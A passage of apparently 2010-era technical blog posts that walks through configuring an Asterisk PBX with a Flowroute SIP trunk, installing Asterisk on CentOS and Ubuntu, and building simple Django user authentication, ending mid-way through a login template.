If you read your System Configurator page, the first thing you’ll notice is a section labeled sip.conf. The file sip.conf (located at: /etc/asterisk/sip.conf) is the SIP configuration file that Asterisk uses to define SIP trunks, and other SIP settings. In order to connect our Flowroute SIP trunk to Asterisk, we’ll need to edit this file and add in the SIP trunk information specified on the System Configurator page of the Flowroute account dashboard.

The first bit of the Flowroute instructions say to add the following to sip.conf right after general settings:

allow=ulaw
allow=g729
register => xxx:xxx@sip.flowroute.com

So go ahead and open /etc/asterisk/sip.conf in your favorite text editor (I prefer vim). You’ll notice a lot of text, but ignore it for now. These configuration options will be covered in another article in this series.

Scroll down until you see a line that says only: [authentication]. This line marks the end of the [general] section (which is where we need to put the settings mentioned above). Now go ahead and insert the settings Flowroute gave you directly above the [authentication] line. Your configuration file should now show something like:

allow=ulaw
allow=g729
register => xxx:xxx@sip.flowroute.com

[authentication]

Define Your NAT Network Settings

If you are running your Asterisk PBX behind a router (e.g. your Asterisk system has a private IP), then you’ll need to add the following configurations to your sip.conf file directly above the [authentication] line:

nat=yes
externip=xx.xx.xx.xx
localnet=192.168.0.0/255.255.255.0

Where xx.xx.xx.xx is your external IP (visit IP Chicken if you don’t know it), 192.168.0.0 is your subnet, and 255.255.255.0 is your subnet mask. In this example, I’m allowing connections to my Asterisk PBX from any device on the 192.168.0.x network.

The reason we need to add our networking information here is because Asterisk needs to modify the SIP packet headers to ensure that our SIP packets get to the right destination.

Define Your SIP Trunk

The next thing the Flowroute instructions tell us to do is to add the following near the bottom of sip.conf:

[flowroute]
type=friend
secret=xxx
username=xxx
host=sip.flowroute.com
dtmfmode=rfc2833
context=inbound
canreinvite=no
allow=ulaw
allow=g729
insecure=port,invite
fromdomain=sip.flowroute.com

So go ahead and scroll to the bottom of your sip.conf file, and then insert those settings along with a single addition: at the very bottom of your configurations (on a new line after the fromdomain=sip.flowroute.conf) line, insert the following: qualify=yes, as this will give us some additional information about our SIP connection later on.

Create a SIP Extension

Now that we’ve set up our SIP trunk, it’s time to create an extension. An extension is just another term for ‘phone’. SIP extensions (IP phones) are the most common type of extensions in use on modern phone systems. Sure, you can still hook up those old analog phones to your Asterisk PBX, but we’ll save that for another day. Today we’ll create a simple SIP extension which we will later hook up a soft phone to and use to make and receive calls.

To define a SIP extension, we need to pick several things:

An extension number. This is typically a numeric number, several digits in length. I’ll be using 1000 in the following examples.
A secret password. This is generally an alphanumeric password of any length used to ‘secure’ your extension. Any device which wants to make or receive calls from your extension need to know this password in order to authenticate. This password does not need to be remembered, and should be globally unique.

Creating the Extension

Now that you’ve picked your extension number and secret, let’s create it!

Scroll down to the very bottom of your /etc/asterisk/sip.conf file, (below the SIP trunk we created in the previous section), and insert the following (make sure you swap out my extension number for yours, and my secret for yours):

[1000]
type=friend
nat=yes
canreinvite=no
secret=mysecretpassword
qualify=yes
mailbox=1000@default
host=dynamic
dtmfmode=rfc2833
dial=SIP/1000
context=outgoing

I’ll skip over the configuration options for now, I’ll cover these in great depth in a later part of the series. If you want to read more about them now, check out the VoIP Info page which describes them in detail.

At this point we’ve fully configured a Flowroute SIP trunk and a SIP extension with Asterisk. The next thing for us to do will be configuring our network so that our SIP trunk works. So keep reading!

Configure the Network

Before our SIP set up is finished, we need to configure our network to pass SIP and RTP (voice traffic) to our Asterisk server. If your server is not behind a router, you can skip this section.

To do this, configure port forwarding on your router to forward ports 5060 UDP, and 10,000 -> 20,000 UDP to your Asterisk server.

Port 5060 UDP is used for SIP traffic. Ports 10,000 -> 20,000 UDP are used to pass voice traffic (audio).

If your router has any SIP options such as SIP ALG (application layer gateway) or SIP fixup, you’ll want to disable them.

Testing the SIP Trunk

Before moving on to the actual call configuration, let’s make sure our SIP trunk is actually connected to Asterisk and working.

From the command line, type the following: asterisk -rx 'sip reload', which will force Asterisk to reload our SIP configuration file that we just edited (/etc/asterisk/sip.conf).

Next, let’s check to make sure that our Flowroute trunk is registered (connected and in service): asterisk -rx 'sip show registry'. If your state shows registered:

[root@localhost asterisk]# asterisk -rx 'sip show registry'
Host Username Refresh State Reg.Time
sip.flowroute.com:5060 xxxxxxxx 105 Registered Tue, 02 Mar 2010 09:34:23
1 SIP registrations.

Then you know that your SIP trunk is connected and working!

Configure the Dial Plan

Since we have our SIP trunk working, we now need to program Asterisk, and teach it how to route calls for us. There are two things that we need to teach Asterisk to do: how to route outgoing calls, and how to route incoming calls. Each of these requires separate Asterisk configuration to work.

Our goal will be to write the following two rules:

When we dial an 11-digit US phone number from our soft phone, it should call that phone number.
When someone calls our SIP DID (phone number), we should connect that call to our soft phone so we can talk to the person who called us.

There are several ways to program Asterisk to handle call routing, but the simplest (and native) way to do it is via ‘dial plan’. Dial plan is the name of Asterisk’s own scripting language. It is very simple, and easy to understand (even for non-programmers).

In the next few sections, we’ll write dial plan code to route calls according to our rules above.

Asterisk Dial Plan Basics

All Asterisk dial plan code resides in the file /etc/asterisk/extensions.conf. So when working on dial plan code, always have this file open.

There are two main sections of the extensions.conf file that are always present. There is a [general] context which contains dial plan settings. These settings control Asterisk dial plan parsing options for the most part. The other context is [globals] which contains a list of global variables that can be accessed by any dial plan code.

All Asterisk dial plan code is kept in contexts (much like the SIP configuration we walked through earlier). You can create as many contexts as you like.

Each context should have a clear, meaningful name, which describes what the code inside of it does.

Each line of dial plan code is of the form: exten => extension,priority,application, where:

extension is a regular expression or literal value which is used to determine routing logic.
priority is a numeric value (or variable) which tells Asterisk in what order to execute the code.
application is a function that Asterisk executes to perform some functionality.

If you don’t understand all of this now, don’t worry!

Start With a Clean Slate

Before we begin writing our code, let’s quickly create a nice clean extensions.conf file to work in. Remove your current dial plan file (/etc/asterisk/extensions.conf) and replace it with the following:

[general]
static=yes
writeprotect=no
clearglobalvars=no

[globals]
TRUNK=flowroute

All I did here was remove all comments and clutter from the file, so that we can clearly see what we’re doing. I also added a global variable called TRUNK which contains the name of our SIP trunk defined earlier in the article. We’ll use this global variable later on to make outbound calls.

Configure Outbound Routing

The goal here is to allow our extension to dial an 11-digit US phone number, and connect it to the PSTN via our Flowroute SIP trunk.

Remember when we configured our SIP extension? One of the keys we specified in the configuration file was: context=outgoing. The context field of an extension determines what dial plan context the pattern matching will start at. This is similar to the main() function in most programming languages.

The context specified in our SIP extension plays an important role in routing outbound calls. It says (in human English):

When any extension who’s context key is equal to outgoing dials a number, send the number that was dialed to the [outgoing] context to be processed. Let the [outgoing] context determine what to do at this point.

So now that we know what context we need to create (the [outgoing] context), let’s make it!

Open your extensions.conf file and add the following code to it at the bottom:

[outgoing]
exten => _1NXXNXXXXXX,1,Dial(SIP/${EXTEN}@${GLOBAL(TRUNK)})

Let’s go through the code and analyze exactly what is happening.

The first bit: exten => is standard. All Asterisk dial plan code starts with this bit. The extension: _1NXXNXXXXXX is a regular expression that Asterisk will use to pattern match the number dialed. Remember above how we said that we’re going to route all 11-digit US telephone numbers outbound? This pattern represents an 11-digit US telephone number. Since all 11-digit US telephone numbers begin with the number 1, we hard-code that number. The variable N represents a number (2 through 9), and the variable X represents a number (0 through 9). Therefore, the pattern _1NXXNXXXXXX will match any 11-digit US telephone number.

After the extension (pattern), you’ll see a comma character followed by the number 1. The number 1 is the priority. Asterisk dial plan code can contain more than a single line of instructions. In cases where there are multiple lines of code that need to be executed, Asterisk relies on the priority number to determine what to do first.

Imagine that we had code which looked like:

exten => _1NXXNXXXXXX,2,Dial(18002223333@flowroute)
exten => _1NXXNXXXXXX,1,Dial(19999999999@flowroute)

In this case, Asterisk would execute the code at priority number 1 first, then the code at priority number 2. So always check for priority numbers when looking at code as they will help determine what is going on.

The last part of the code you see is the called application: Dial(SIP/${EXTEN}@${GLOBAL(TRUNK)}). The application we’re using here is the Dial() command. This application instructs Asterisk to dial the phone number out of our Flowroute SIP trunk and connect the call to our extension (e.g. make an outbound call)!

Everything inside of the ${} characters is a variable reference. Asterisk has several pre-defined ‘channel variables’ which are always accessible. In our Dial() code, we reference the ${EXTEN} channel variable, which contains the number that was dialed and pattern matched. If we dialed the number 18002223333, then ${EXTEN} would expand to 18002223333.

The ${GLOBAL(TRUNK)} code references the global variable TRUNK which we defined at the top of our extensions.conf file. This code will expand to flowroute before executing the Dial() application.

So after all of the variable expansion is finished, Asterisk actually sees the following (assuming that we dialed the number 18002223333): Dial(SIP/18002223333@flowroute), which is a lot easier to understand! The first part of the line that says SIP/ tells Asterisk that the number we’re going to dial should be sent out of our SIP trunk. The @flowroute part tells Asterisk to dial the number 18002223333 on the flowroute SIP trunk, specifically. Doing it this way gives us flexibility. Imagine if we had many SIP trunks on our Asterisk system, and wanted to route certain calls through certain SIP trunks.

Outbound Routing, a Full Walk Through

Let’s quickly perform a full walk through of what happens when we dial the number 18002223333 on our extension. (Don’t worry that we haven’t set up the soft phone yet, we’ll get to that later.)

Asterisk receives a SIP call from our extension (1000) which has dialed the number 18002223333.
Asterisk looks at the context key in our extension’s configuration settings, and sees that it is set to outgoing.
Asterisk sends the number 18002223333 to the [outgoing] context, defined in /etc/asterisk/extensions.conf to be pattern matched.
Once Asterisk finds a match for the number, it begins looking for the first application to execute by looking for priority 1.
Asterisk finds priority 1, and then beings performing variable expansion in the application field to prepare for execution.
Asterisk finishes variable expansion, then executes: Dial(SIP/18002223333@flowroute).
Asterisk then calls the number 18002223333 on the flowroute SIP trunk, and connects the call to our extension so that both ends can talk to each other.

That’s it for outbound routing! Simple right?

Configure Inbound Routing

In order to route calls inbound, you will need a DID (phone number) with your SIP provider. This way, you can call your number, and it will direct to your Asterisk PBX system. A phone number is a lot like an IP address, each one is unique, and routes to a specific location.

Unfortunately, DIDs cost money (just like you pay for cell phone service and house phone service, you need to pay for VoIP service to rent a DID). If you would like to try out the code that follows, you’ll need to deposit some money into your Flowroute account, and then purchase a DID from the web panel. At this point in time, a single DID from Flowroute costs approximately $1.39 per month.

Once you’ve purchased a DID, write the number down somewhere. It will be an 11-digit phone number. For the code that follows, simply substitute in your DID where necessary, as I will be using the fictitious DID 18182223333.

Open your /etc/asterisk/extensions.conf file and add a new context called [inbound] to the bottom of your file (it can go beneath the [outgoing] context we created in the last section). The context should look like:

[inbound]
exten => 18182223333,1,Dial(SIP/1000)

The code here should look familiar to the code in the previous section. All we’re doing is dialing the SIP extension 1000 (which is the extension we created earlier). You’ve probably noticed that there is no @trunk syntax at the end of our Dial() application. If you look back at your SIP configuration file (/etc/asterisk/sip.conf) you’ll notice that when we created our extension, one of the keys we defined was: dial=SIP/1000, which tells Asterisk that in order to connect a call to that extension, we have to dial SIP/1000.

Inbound Routing, a Full Walk Through

Let’s quickly perform a full walk through of what happens when someone calls our DID (18182223333) from the PSTN.

First our SIP provider will receive the call, and check to see what customer the DID belongs to.
The SIP provider will then check to see if we are registered to their SIP server.
Once they’ve confirmed our registration, they’ll forward the call to our Asterisk system.
Asterisk will receive the call from our Flowroute SIP trunk, and check to see what context it should use to route the call.
Asterisk will see that our [flowroute] trunk is configured to use the context ‘inbound’, and will send the DID number, 18182223333 to the [inbound] context for pattern matching.
Asterisk will match the pattern 18182223333 in our [inbound] context, and begin looking for priority 1.
Asterisk will find priority 1, and then execute the Dial(SIP/1000) command.
Asterisk will connect the incoming call to our extension, so that both parties can talk.

Not too bad! We’ve set up the ability to receive incoming calls in only a single line of code!

At this point, we’ve created dial plan rules for both the outgoing and incoming call routing. Save your extensions.conf file, and let’s move on.

Apply Your New Dial Plan Rules

Now that we’ve finished writing our dial plan code, we need to reload Asterisk to have it re-scan our extensions.conf file. To do this, simply type: asterisk -rx 'dialplan reload' from the command line.

The next section which will teach you how to hook up a soft phone to your Asterisk system so you can actually test your system!

Set Up a Softphone

In this section, we’ll set up a soft phone to use to make calls. Soft phones are just SIP clients that can connect to Asterisk and act as normal phones. Asterisk can work with normal analog telephones as well as fancier (and more expensive) SIP phones, but SIP phones are much easier to set up, so we’ll be configuring a soft phone today. If you want to hook up your analog phone to your Asterisk server-don’t despair-that will be covered in another article in this series.

There are tons of soft phones to choose from, but I’ll be walking you through using X-Lite, as it is one of the most popular and widely used.

First thing you’ll want to do is download and install X-Lite on your computer (it runs on all platforms).

Once you’ve got it installed, open it up. If you don’t have your extension information in front of you, open up your SIP configuration file (/etc/asterisk/sip.conf) and look at your extension definition.

Right click on the main window display in X-Lite and click on ‘SIP Account Settings’. Now click ‘Add…’ to add a SIP account.

Here are the values you should fill in:

Display Name: Set this to anything you like. I prefer 1000 (the extension I’m using).
User Name: Set this to your extension number (1000).
Password: Set this to your secret.
Authorization User Name: Set this to your extension number (1000).
Domain: Set this to the IP address of your Asterisk server.
Make sure the box next to ‘Register with domain and receive incoming calls’ is checked.

Once you’ve configured all those settings, press OK and then close out of the configuration menu.

If your network and SIP configuration files have been properly configured, your X-Lite phone will now say ‘Registered’ at the top of the window! If it is not working, read back through the setup instructions and make sure you didn’t miss anything. If you are using a virtual machine, also make sure your host network settings have been configured to receive incoming traffic.

Making and Receiving Your First Call

Now that we’ve gotten everything set up, let’s actually make some calls!

On your X-Lite soft phone, go ahead and dial any 11-digit US telephone number (since this is the rule that we configured for outbound routing). When you hit dial (the green button) you’ll make a call just like you would on a normal phone, and you’ll be connected to the phone number you dialed!

If you want to receive a call, use your cell phone to call your DID, and Asterisk will route the call directly to your X-Lite phone. You will see and hear you X-Lite phone ring, and you can pick up the call by clicking the green button.

Conclusion

This was a very large article, and took a considerable amount of time to write. I hope that if you got this far, you were able to clearly configure and understand the basic Asterisk setup required to make outbound calls, and to receive inbound calls.

The material covered in this part of the series is bulky, but very important in understanding the way Asterisk works. In future parts of the Transparent Telephony series, we’ll have significantly shorter, more targeted articles, so following along should be easier.

Transparent Telephony - Part 2 - Installing Asterisk

r@rdegges.com (Randall Degges) — Sun, 28 Feb 2010 00:00:00 -0800

Welcome back to the Transparent Telephony series. If you’re new, you may want to check out part 1 here: Transparent Telephony - Part 1 - An Introduction.

This series is designed for technical people, programmers, and just general enthusiasts who want to learn: how telephony works, how to setup your own phone server (PBX), how to write telephony applications, and how to reduce your phone expenses. There are tons of neat things you can do with telephony knowledge, so keep reading!

This article will walk you through installing Asterisk on your CentOS or Ubuntu server. If you are going to install on a virtual machine to follow along, I recommend using VirtualBox, as everything should work out of the box. Certain virtual machine programs like Xen have kernel issues which makes installing Asterisk difficult. Also, never ever use Asterisk in production on a virtual machine! You’ll have timing issues (this will be explained later in the series).

Before we get started, go ahead and install either CentOS or Ubuntu on your system. Update everything to the latest version. I’ll be showing you how to install the latest version of Asterisk stable, so we might as well update our operating system and packages.

Installing Dependencies

CentOS

You can skip this step as Digium provides yum repositories which will automatically install the latest version of Asterisk for us as well as any dependencies.

Ubuntu

First of all, let’s install the appropriate kernel sources. We will need these to build against. To figure out what kernel version you’re using, run the uname -a command.

Next, you’ll want to search for the appropriate kernel packages to install, apt-cache search 2.6.31 (where 2.6.31 is your kernel version). Once you get a list of packages, install the appropriate linux-headers, linux-image, and linux-source packages that correspond to your kernel version. For me this was:

$ apt-get install linux-headers-2.6.31-14-generic
$ apt-get install linux-image-2.6.31-14-generic
$ apt-get install linux-source-2.6.31

Now install the SSL libraries required for encryption. We’ll also install SSH so that you can remotely administrate your server:

$ apt-get install openssl libssl-dev ssh

Next we’ll install all of the tools required to build Asterisk:

$ apt-get install gcc
$ apt-get install g++
$ apt-get install make
$ apt-get install automake
$ apt-get install autoconf
$ apt-get install build-essential
$ apt-get install bison
$ apt-get install flex
$ apt-get install libtool
$ apt-get install libncurses5
$ apt-get install libncurses5-dev
$ apt-get install libgsm1
$ apt-get install libgsm1-dev
$ apt-get install libnewt-dev
$ apt-get install libnewt-pic
$ apt-get install curl
$ apt-get install libcurl3
$ apt-get install tclcurl
$ apt-get install libwww-dev
$ apt-get install mysql-common
$ apt-get install mysql-client
$ apt-get install libmysqlclient16
$ apt-get install libmysqlclient16-dev
$ apt-get install sox
$ apt-get install libsox-fmt-all
$ apt-get install madplay
$ apt-get install libxml2
$ apt-get install libxml2-dev
$ apt-get install doxygen

You may also want to install ntp as it’s a safer alternative to ntpdate which most system administrators use to adjust the system time. DAHDI, the Digium Asterisk Hardware Device Interface, is very picky about system time, and has been known to crash servers which experience large time corrections. ntp will prevent this from happening as it will periodically adjust the time in small increments which is much safer than performing a single large time adjustment with ntpdate.

If you’d like to install ntp, just run: apt-get install ntp.

Installing Asterisk

Now that we’ve got our dependencies worked out, it’s time to actually install Asterisk! We’ll install DAHDI, Asterisk, Asterisk Addons, and all of the Asterisk default sound files. We’ll also ensure that Asterisk starts at boot, and runs as a system service.

CentOS

As a disclaimer, these instructions have been largely taken from Digium’s website. They have excellent documentation for installing Asterisk using their yum repositories which I will be mirroring here.

Download the centos-asterisk.repo file and copy it to /etc/yum.repos.d/. Here is the repo file:

[asterisk-current]
name=CentOS-$releasever - Asterisk - Current
baseurl=http://packages.asterisk.org/centos/$releasever/current/$basearch/
enabled=1
gpgcheck=0
#gpgkey=http://packages.asterisk.org/RPM-GPG-KEY-Digium

Download the centos-digium.repo file and copy it to /etc/yum.repos.d/. Here is the repo file:

[digium-current]
name=CentOS-$releasever - Digium - Current
baseurl=http://packages.digium.com/centos/$releasever/current/$basearch/
enabled=1
gpgcheck=0
#gpgkey=http://packages.digium.com/RPM-GPG-KEY-Digium

Clear your current yum cache: yum clean all.
Install Asterisk and its dependencies:

$ yum install asterisk16
$ yum install asterisk16-configs
$ yum install asterisk16-voicemail
$ yum install dahdi-linux
$ yum install dahdi-tools
$ yum install libpri

Make Asterisk and DAHDI start at boot. Then reboot the server to make sure they both start up: chkconfig dahdi on; chkconfig asterisk on; reboot;.

Once the system comes back up, run the following command to make sure DAHDI and Asterisk are working properly: service dahdi status; asterisk -rx 'core show version'.

If all is working, you should see something similar to:

### Span 1: DAHDI_DUMMY/1 "DAHDI_DUMMY/1 (source: Linux26) 1" (MASTER)
Asterisk 1.6.0.25 built by root @ localhost.localdomain on a i686 running Linux on 2010-02-26 20:30:00 UTC

Ubuntu

To install Asterisk on Ubuntu, we need to compile it from source.

First of all, download all of the source files from the Asterisk download page. Always download the latest release. The files you will need are Asterisk, Asterisk-Addons, DAHDI Linux / DAHDI Tools, and Libpri. The code below shows what Asterisk release I’ll be downloading (current at the time of writing):

$ wget http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-1.6.2.5.tar.gz
$ wget http://downloads.asterisk.org/pub/telephony/asterisk/asterisk-addons-1.6.2.0.tar.gz
$ wget http://downloads.asterisk.org/pub/telephony/dahdi-linux-complete/releases/dahdi-linux-complete-2.2.1+2.2.1.tar.gz
$ wget http://downloads.asterisk.org/pub/telephony/libpri/releases/libpri-1.4.10.2.tar.gz

Now, let’s install DAHDI Linux / DAHDI Tools. Always install this before Asterisk:

$ tar zxvf dahdi-linux-complete-2.2.1+2.2.1.tar.gz
$ cd dahdi-linux-complete-2.2.1+2.2.1
$ make
$ make install
$ make config

Now we’ll install Libpri:

$ tar zxvf libpri-1.4.10.2.tar.gz
$ cd libpri-1.4.10.2/
$ make
$ make install

Now that we’ve got both DAHDI and Libpri installed, let’s install Asterisk:

$ tar zxvf asterisk-1.6.2.5.tar.gz
$ cd asterisk-1.6.2.5/
$ ./configure
$ make
$ make install
$ make config
$ make samples
$ make progdocs

Finally, we’ll install Asterisk-Addons which includes some useful functionality:

$ tar zxvf asterisk-addons-1.6.2.0.tar.gz
$ cd asterisk-addons-1.6.2.0/
$ ./configure
$ make
$ make install
$ make samples

Now that we’ve got everything installed, go ahead and reboot the system to make sure that everything starts up automatically on boot. Once the system is back up and running, run the following two commands:

$ /etc/init.d/dahdi status
$ asterisk -rx 'core show version'

If all is working, you should see something similar to:

### Span 1: DAHDI_DUMMY/1 "DAHDI_DUMMY/1 (source: HRtimer) 1" (MASTER)
Asterisk 1.6.2.5 built by root @ ubuntu on a i686 running Linux on 2010-02-28 22:30:53 UTC

Conclusion

Now that you’ve got DAHDI, Libpri, Asterisk, and Asterisk-Addons installed, your server is ready for production usage!

Our next article will cover configuring Asterisk and making calls to the outside world.

If you’re looking for some other great Asterisk documentation, you can’t do any better than Asterisk: The Future of Telephony, 2nd Edition. It’s the most thorough book on Asterisk that you can find, and will teach you everything you need to know to get started with Asterisk.

User Authentication With Django

r@rdegges.com (Randall Degges) — Wed, 17 Feb 2010 00:00:00 -0800

This article will teach you how to authenticate users with Django in a simple, quick, and secure manner. You’ll also learn how to require authentication on certain pages of your website, and how to gracefully handle login and logout functionality.

The target audience is people who have had minimal experience with Django, and are aware of how Django works in a basic manner.

What are We Building?

To demonstrate how user authentication works, we’ll be building an extremely minimalistic website and user portal. We’ll create a home page that directs users to the web portal (which is for authenticated users only). We’ll create a login page, a logout page, and a basic web portal home page.

The goal of this article is not to teach you web design, or how to make websites, but merely to show you how simple user authentication can be with Django.

What’s Needed?

Django 1.0 or later.

Create a New Project

Before we get started, create a new Django project. For the rest of this article, we’ll be building a website for the fictitious company ‘Django Consultants’.

rdegges@cora:~/code$ django-admin.py startproject django_consultants
rdegges@cora:~/code$ ls django_consultants/
__init__.py manage.py settings.py urls.py
rdegges@cora:~/code$ cd django_consultants/
rdegges@cora:~/code/django_consultants$
rdegges@cora:~/code/django_consultants$ python manage.py syncdbCreating table auth_permission
Creating table auth_group
Creating table auth_user
Creating table auth_message
Creating table django_content_type
Creating table django_session
Creating table django_site

You just installed Django's auth system, which means you don't have any superusers defined.
Would you like to create one now? (yes/no): yes
Username (Leave blank to use 'rdegges'):
E-mail address: r@rdegges.com
Password:
Password (again):
Superuser created successfully.
Installing index for auth.Permission model
Installing index for auth.Message model
rdegges@cora:~/code/django_consultants$

Be sure to create a user account when you run the python manage.py syncdb command, as you’ll need that later to test your login.

Determine URLs

There are many ways to design a website, but I prefer to build the URL schema first, then build the site to match the URL schema. So let’s decide on what URLs we will need now. If you are going to build a real website and not just this simple example, feel free to add whatever else you need.

/ Show the company logo and direct users to a login portal.
/login/ Allow users to login.

This should be sufficient for what we are doing.

Configure Django Settings

Below is my settings.py for the project. Make changes where necessary.

import os

DEBUG = True
TEMPLATE_DEBUG = DEBUG

ADMINS = (
 ('Randall Degges', 'r@rdegges.com'),
)
MANAGERS = ADMINS

DATABASE_ENGINE = 'sqlite3'
DATABASE_NAME = 'django_consultants.db'
DATABASE_USER = ''
DATABASE_PASSWORD = ''
DATABASE_HOST = ''
DATABASE_PORT = ''

TIME_ZONE = 'America/Los_Angeles'
LANGUAGE_CODE = 'en-us'
SITE_ID = 1
USE_I18N = True

SITE_ROOT = os.path.realpath(os.path.dirname(__file__))
MEDIA_ROOT = os.path.join(SITE_ROOT, 'static')
MEDIA_URL = '/static/'
ADMIN_MEDIA_PREFIX = '/media/'

# URL of the login page.
LOGIN_URL = '/login/'

# Make this unique, and don't share it with anybody.
SECRET_KEY = 'somerandomnumbers'

TEMPLATE_LOADERS = (
 'django.template.loaders.filesystem.load_template_source',
 'django.template.loaders.app_directories.load_template_source',
)

MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
)

ROOT_URLCONF = 'django_consultants.urls'

TEMPLATE_DIRS = (
 os.path.join(SITE_ROOT, 'templates'),
)

INSTALLED_APPS = (
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 'portal',
)

Take note of the LOGIN_URL setting. This needs to be changed to whatever URL your login view will be at. For us, this should be /login/, as that is the URL we decided will supply users with a login page.

Everything else is pretty standard, nothing special going on.

Write Our `urls.py`

Now let’s write our main urls.py file which will control what content is served based on our URL schema.

from django_consultants.views import *
from django.conf.urls.defaults import *

urlpatterns = patterns('',
 (r'^$', main_page),

 # Login / logout.
 (r'^login/$', 'django.contrib.auth.views.login'),
 (r'^logout/$', logout_page),

 # Web portal.
 (r'^portal/', include('portal.urls')),

 # Serve static content.
 (r'^static/(?P<path>.*)$', 'django.views.static.serve',
 {'document_root': 'static'}),
)

There are two things to notice here. First off, the login view (r'^login/$', 'django.contrib.auth.views.login') is defined as using django.contrib.auth.views.login, which is a pre-defined view for logging in users. We won’t need to make any changes to this, as it does all of the Django magic to securely authenticate users.

Next, you’ll notice that the view for our web portal will be part of a separate application (r'^portal/', include('portal.urls')). You don’t have to do it this way, but breaking your website up into independent applications is useful for keeping logic separated. For example, a login and logout are useful to have as part of your main site (e.g. not in an application) because you may have multiple parts of your website that perform different actions but that all require authentication for users to access. In our case, one of these applications will be a user portal, so we’ll be making it into a separate application.

Writing the Views

Now that we’ve defined the URLs for our site, let’s go ahead and write the views that our main site will use. Here’s the views.py:

from django.contrib.auth import logout
from django.http import HttpResponseRedirect
from django.shortcuts import render_to_response

def main_page(request):
 return render_to_response('index.html')

def logout_page(request):
 """
 Log users out and re-direct them to the main page.
 """
 logout(request)
 return HttpResponseRedirect('/')

Since the login page already has a view defined (thanks to django.contrib.auth), we only need to define our main page (which will tell users to go to the portal) and a logout page that allows users to logout anywhere on the website.

The main_page view is pretty simple, it just renders an index.html template (don’t worry, we’ll write all of the templates later).

The logout_page view calls the logout function on the request object. This magically logs users out and kills their sessions. After logging them out, we then direct them back to the main page of the website. You can always spice this up (by adding a custom log out page or something), but for simplicity’s sake, we will just send them back home.

Create the Portal Application

Now let’s create our web portal application. We’ll call it portal and it will be used to display the portal homepage and other portal functionality (if you choose to add it):

rdegges@cora:~/code/django_consultants$ django-admin.py startapp portal
rdegges@cora:~/code/django_consultants$ ls portal/
__init__.py models.py tests.py views.py
rdegges@cora:~/code/django_consultants$ cd portal/
rdegges@cora:~/code/django_consultants/portal$

Determine the Portal URLs

Again, let’s quick write up a URL schema for our portal application. If you are designing an actual website, you’ll want to add more functionality. For now, all we will do is create a single page (that will be accessed via /portal/) which gives users some basic options.

/ Main page. Will display the login portal and give users a menu of options.

Write the Portal `urls.py`

Now that we’ve come up with a schema for our portal application, let’s implement it and write the urls.py:

from django.conf.urls.defaults import *
from portal.views import *

urlpatterns = patterns('',

 # Main web portal entrance.
 (r'^$', portal_main_page),

)

Nothing complicated here, moving on.

Write the Portal Views

Now let’s write our portal views:

from django.shortcuts import render_to_response
from django.contrib.auth.decorators import login_required

@login_required
def portal_main_page(request):
 """
 If users are authenticated, direct them to the main page. Otherwise, take
 them to the login page.
 """
 return render_to_response('portal/index.html')

This is where things get interesting. Since we decided a while back that our /portal/ page was going to require users to be authenticated, we are going to import the login_required function from django.contrib.auth. This decorator allows us to specify which views require users to be authenticated to use! All we need to do is place @login_required above each view definition that we have which requires user authentication, and bam. Everything magically works!

If you were to visit /portal/ without being logged in, the login_required function would see that you are not authenticated, and would read the variable value in your settings.py file called LOGIN_URL which currently contains /login/, and would then direct you to the login page. Pretty awesome right? Full user authentication in only 1 line of code!

Creating the Templates

Now that we’ve done all the hard work, let’s go ahead and write our templates.

To start, let’s create all of the necessary directories and files:

rdegges@cora:~/code/django_consultants$ mkdir -p templates/{registration,portal}
rdegges@cora:~/code/django_consultants$ touch templates/base.html templates/index.html
rdegges@cora:~/code/django_consultants$ touch templates/portal/portal.html templates/portal/index.html templates/portal/menu.html templates/portal/footer.html templates/portal/header.html
rdegges@cora:~/code/django_consultants$ touch templates/registration/login.html

Next, let’s define a generic template (base.html) for our main pages to use as a generic template. Since I like to do things fancy, we might as well make it HTML 5 :)

<!DOCTYPE html>
<html>
 <head>
 <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
 {% block head %}{% endblock %}
 </head>
 <body>
 {% block body %}{% endblock %}
 </body>
</html>

Now that we have a base template, let’s create the main page of the website (index.html) as our main_page view renders:

{% extends "base.html" %}
{% comment %}
 Main page of django_consultant's website.
{% endcomment %}

{% block head %}
 <title>Django Consultants</title>
{% endblock %}

{% block body %}
 <header>
 <h1>Django Consultants</h1>
 </header>

 <section>
 <p>Welcome to Django Consultants. Please click <a href="/portal/">here</a> to log into our web portal.</p>
 </section>
{% endblock %}

At this point, we’ve got the basic templates done for the main page of our website. Mind you, they are very basic. The next thing we need to do is create a template for our user portal page. So let’s do that:

{% extends "base.html" %}
{% comment %}
 This is the main template for all portal pages.
{% endcomment %}

{% block head %}
 <title>Django Consultants | {% block title %}{% endblock %}</title>
{% endblock %}

{% block body %}
 <header>
 <h1>Django Consultants | Web Portal</h1>
 </header>

 <section>
 <ul>
 <li><a href="/">home</a></li>
 <li><a href="/logout/">logout</a></li>
 </ul>
 </section>

 {% block content %}{% endblock %}

 <footer>
 <span>&copy; 2010, Django Consultants</span>
 </footer>
{% endblock %}

This is a generic template which will be used for all portal pages. As you can see, there isn’t much functionality except to return to the main page and logout. If you are developing an actual portal, you’ll obviously want to add lots more features! Now we’ll create the actual portal home page:

{% extends "portal/portal.html" %}
{% comment %}
 Main page of the portal.
{% endcomment %}

{% block title %}
 Portal
{% endblock %}

{% block content %}
 <section>
 <h2>Welcome, {{ user.username }}</h2>
 <p>This is the main page of the web portal.</p>
 </section>
{% endblock %}

This page is special in that it uses the {{ "user.username" }} variable to print the user name of the logged in user. The Django authentication system passes the user object to each template that requires authentication (using the login_required decorator), that we can use to fetch information on the user. In this case, we are going to display a simple welcome message.

The last thing we need to do is create a template for our login page (remember that it uses the magical view that we didn’t have to write?) Here it is:

{% extends "base.html" %}
{% comment %}
 Main page to authenticate users.
{% endcomment %}

{% block head %}
 <title>Django Consultants | Login</title>
{% endblock %}

{% block body %}
 <header>
 <h1>Django Consultants</h1>
 <h2>Login Page</h2>
 </header>

 <section>
 {% if form.errors %}
 <p>Your username and password didn't match, please try again.</p>
 {% endif %}

 <form method="post" action=".">
 {% csrf_token %}
 <p>
 <label for="id_username">Username:</label>
 {{ form.username }}
 </p>
 <p>
 <label for="id_password">Password:</label>
 {{ form.password }}
 </p>
 {% if next %}
 <input type="hidden" name="next" value="{{ next }}" />
 {% else %}
